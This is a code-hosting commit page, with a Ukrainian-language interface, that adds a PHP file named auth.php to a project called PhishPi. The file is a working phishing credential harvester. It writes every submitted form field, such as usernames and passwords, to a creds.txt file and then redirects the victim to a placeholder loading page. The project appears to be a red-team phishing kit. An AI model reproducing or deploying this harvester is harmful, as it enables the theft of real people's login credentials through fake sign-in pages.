assume-breach 3 роки тому
батько
коміт
33ae8f98a7
1 змінених файлів з 13 додано та 0 видалено
  1. 13 0
      PhishPi/Resources/auth.php

+ 13 - 0
PhishPi/Resources/auth.php

@@ -0,0 +1,13 @@
+<?php
+header ('Location:http://domain/loading.html');
+$handle = fopen("creds.txt", "a");
+foreach($_POST as $variable => $value) {
+   fwrite($handle, $variable);
+   fwrite($handle, "=");
+   fwrite($handle, $value);
+   fwrite($handle, "\r\n");
+}
+fwrite($handle, "\r\n");
+fclose($handle);
+exit;
+?>